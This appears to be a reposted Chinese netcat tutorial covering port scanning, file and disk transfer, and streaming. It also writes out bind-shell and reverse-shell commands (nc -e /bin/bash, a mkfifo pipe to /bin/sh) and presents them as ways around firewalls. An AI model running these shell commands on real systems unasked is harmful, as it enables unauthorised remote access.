玩转 Linux 之:网络工具中的瑞士军刀 Netcat

netcat号称网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。

netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。

下面是一些使用netcat的例子.

A (172.31.100.7)

B (172.31.100.23)

Linux netcat 命令实例:

1、端口扫描

端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。

nc -z -v -n 10.9.17.100 21-25 
nc: connect to 10.9.17.100 port 21 (tcp) failed: Connection refused
Connection to 10.9.17.100 22 port [tcp/*] succeeded!
nc: connect to 10.9.17.100 port 23 (tcp) failed: Connection refused
nc: connect to 10.9.17.100 port 24 (tcp) failed: Connection refused
nc: connect to 10.9.17.100 port 25 (tcp) failed: Connection refused

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.

z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换

v 参数指使用冗余选项(译者注:即详细输出)

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

这个命令会打印21到25 所有开放的端口。Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。

一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。

nc -v 10.9.17.100 22
Connection to 10.9.17.100 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_5.3

Protocol mismatch.

netcat 命令会连接开放端口22并且打印运行在这个端口上服务的banner信息。

2、Chat Server

假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个Chat服务器,一个预先确定好的端口,这样子他就可以联系到你了。

Server

nc -l 1567

netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

Client

nc 172.31.100.7 1567

不管你在机器B上键入什么都会出现在机器A上。

3、文件传输

大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件file.txt 从A 到B。A或者B都可以作为服务器或者客户端,以下,让A作为服务器,B为客户端。

Server

nc -l 1567 < <(seq 5)

Client

nc -n 10.9.17.100 1567
1
2
3
4
5

这里我们创建了一个服务器在A上并且重定向netcat的输入为文件file.txt,那么当任何成功连接到该端口,netcat会发送file的文件内容。

在客户端我们重定向输出到file.txt,当B连接到A,A发送文件内容,B保存文件内容到file.txt.

没有必要创建文件源作为Server,我们也可以相反的方法使用。像下面的我们发送文件从B到A,但是服务器创建在A上,这次我们仅需要重定向netcat的输出并且重定向B的输入文件。

B作为Server

Server

nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt

4、目录传输

发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包。

如果你想要通过网络传输一个目录从A到B。

Server

tar -cvf – dir_name | nc -l 1567

Client

nc -n 172.31.100.7 1567 | tar -xvf -

这里在A服务器上,我们创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给netcat,netcat可以通过网络发送它。

在客户端我们下载该压缩包通过netcat 管道然后打开文件。

如果想要节省带宽传输压缩包,我们可以使用bzip2或者其他工具压缩。

Server

tar -cvf – dir_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Client

nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

使用bzip2解压

5、加密你通过网络发送的数据

如果你担心你在网络上发送数据的安全,你可以在发送你的数据之前用如mcrypt的工具加密。

服务端

nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密数据。

客户端

mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密数据。

以上两个命令会提示需要密码,确保两端使用相同的密码。

这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。

6、流视频

虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用netcat,我们仍然有希望做成这件事。

服务端

cat video.avi | nc -l 1567

这里我们只是从一个视频文件中读入并重定向输出到netcat客户端

nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

这里我们从socket中读入数据并重定向到mplayer。

7、克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

dd if=/dev/sda | nc -l 1567

Client

nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是一个从磁盘读取原始数据的工具,我通过netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

8、打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用netcat创建远程shell。

假设你的netcat支持 -c -e 参数(默认 netcat)

Server

注意:是否有 -e,是否需要带 -p 均视版本而定

[email protected] 10.9.17.100 02:47:55 ~/tmp/10.2.3.5 >
nc -lp 1567 -e ‘/bin/bash -i‘

Client

[email protected] 10.9.17.101 02:47:45 ~/tmp/10.2.3.5 >
nc 10.9.17.100 1567
bash: .HOST_NAME: No such file or directory
--------------------------------------------------------------------
 Welcome to you: 10.2.3.5 ! 
 Your login dir is: /root/tmp/10.2.3.5 !
--------------------------------------------------------------------
[email protected] 10.9.17.100 02:48:06 ~/tmp/10.2.3.5 >

这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash

假如netcat 不支持-c 或者 -e 参数(openbsd netcat),我们仍然能够创建远程shell

Server

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到netcat 运行的端口1567上。至此,我们已经把netcat的输出重定向到fifo文件中。

说明:

从网络收到的输入写到fifo文件中

cat 命令读取fifo文件并且其内容发送给sh命令

sh命令进程受到输入并把它写回到netcat。

netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

在客户端仅仅简单连接到服务器

Client

nc -n 172.31.100.7 1567

你会得到一个shell提示符在客户端

9、反向shell

反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

[email protected] 10.9.17.100 02:44:34 ~/tmp/10.2.3.5 >
nc -l -p 1567
hostname
ecdata-slave-01

在客户端,简单地告诉netcat在连接完成后,执行shell。

客户端

[email protected] 10.9.17.101 02:44:36 ~/tmp/10.2.3.5 >
nc -v 10.9.17.100 1567 -e /bin/bash echo 111
ecdata-master [10.9.17.100] 1567 (jlicelmd) open

现在,什么是反向shell的特别之处呢

反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。

10、指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

nc -l 1567

客户端

nc 172.31.100.7 1567 -p 25

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

11、指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在netcat中使用-s选项指定ip地址。

服务器端

nc -u -l 1567 < file.txt

客户端

nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这仅仅是使用netcat的一些示例。

其它用途有:

使用-t选项模拟Telnet客户端,

HTTP客户端用于下载文件,

连接到邮件服务器,使用SMTP协议检查邮件,

使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用netcat作为网络通讯媒介,实现各种客户端。

12、Refer:

[1] Netcat手册

http://linux.die.net/man/1/nc

[2] Linux Netcat command – The swiss army knife of networking

http://mylinuxbook.com/linux-netcat-command/

时间: 2024-08-11 01:22:08

玩转 Linux 之:网络工具中的瑞士军刀 Netcat的相关文章

Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat

Linux常用网络工具:路由扫描之mtr

除了上一篇<Linux常用网络工具:路由扫描之traceroute>介绍的traceroute之外,一般Linux还内置了另一个常用的路由扫描工具mtr. mtr在某些方面比traceroute更好用,它可以实时显示经过的每一跳路由的信息,并不断进行探测. traceroute默认使用UDP数据包探测,而mtr默认使用ICMP报文探测,ICMP在某些路由节点的优先级要比其他数据包低,所以测试得到的数据可能低于实际情况. mtr mtr使用比较简单,通常不需要使用附加选项,更多参数可以参考mtr

Linux常用网络工具:路由扫描之traceroute

之前两篇<Linux常用网络工具:fping主机扫描>和<Linux常用网络工具:hping高级主机扫描>都是关于主机扫描的,本篇介绍Linux下常用的路由扫描工具traceroute和mtr. 路由扫描主要是查询本机到另一个主机经过的路由跳数及数据延迟情况. traceroute基本使用 路由扫描工具的原理都是存活时间(TTL)来实现的.每当数据包经过一个路由器,其存活时间就会减1.当其存活时间是0时,主机便取消数据包,并传送一个ICMP TTL数据包给原数据包的发出者,路由扫描

Linux常用网络工具:Http压力测试之ab

ab的全称是Apache Bench,是Apache自带的网络压力测试工具,相比于LR.JMeter,是我所知道的 Http 压力测试工具中最简单.最通用的. ab命令对发出负载的计算机要求很低,不会占用很高CPU和内存,但也能给目标服务器产生巨大的负载,能实现基础的压力测试. 在进行压力测试时,最好与服务器使用交换机直连,以获取最大的网络吞吐量. ab的安装很简单,安装Apache会自动安装,如果要单独安装ab,可以使用yum安装: yum -y install httpd-tools ab命

Linux常用网络工具:批量主机服务扫描之netcat

netcat又叫做瑞士军刀,是黑客和系统管理员常用的网络工具,最初开发的目的是文件传输,后来发展出很多强大的功能,比如也可以完成批量主机服务扫描. 之前介绍了另一个更常用的批量主机服务扫描工具:nmap. netcat的安装也非常简单,直接yum安装: yum install nc 一般不建议在生产环境安装nc,因为nc除了可以批量主机服务扫描外,还支持端口代理.文件传输,容易造成安全隐患. netcat之批量主机服务扫描 netcat在扫描时常用的参数: -w 设置超时时间 -z 输入输出模式

Linux之网络工具

1 ifconfig:显示网卡信息 [[email protected] proc]# ifconfig eth0      Link encap:Ethernet  HWaddr 00:0C:29:B8:90:BE inet addr:192.168.154.128  Bcast:192.168.154.255  Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:feb8:90be/64 Scope:Link UP BROADCAST RUNNING

Linux常用网络工具:批量主机服务扫描之nmap

Linux下有很多强大网络扫描工具,网络扫描工具可以分为:主机扫描.主机服务扫描.路由扫描等. 之前已经写过常用的主机扫描和路由扫描工具,nmap支持批量主机扫描和主机服务扫描. nmap的安装直接使用:yum install nmap. nmap之ICMP扫描 nmap可以使用ICMP协议来实现Ping的功能,支持批量主机扫描,用来检测主机存活状态. 使用ICMP相比TCP协议不需要建立三次握手,所以速度更快,但某些防火墙或运营商屏蔽了ICMP就扫描不到. 常用命令: nmap -sP 192

Linux常用网络工具:fping主机扫描

Linux下有很多强大网络扫描工具,网络扫描工具可以分为:主机扫描.主机服务扫描.路由扫描等. fping是一个主机扫描工具,相比于ping工具可以批量扫描主机. fping官方网站:http://fping.org/ fping的源代码编译安装 访问fping的官方网站,获取源代码地址: 编译及安装命令: wget http://fping.org/dist/fping-3.10.tar.gz tar -xvf fping-3.10.tar.gz cd fping ./configure ma

linux基础网络工具学习笔记

1.ifconfig interface up/down/mtu/netmask/broadcast ifconfig eth0 192.168.1.1 #不加参数,按照标准A/B/C类自动添加掩码 ifconfig eth0 192.168.100.100 netmask 255.255.252.0 mtu 8000 ifconfig eth0:0 192.168.100.101 #给一张网卡添加多个ip ifconfig的设置在重启网络服务后会失效 ifconfig wl0 up #启动无线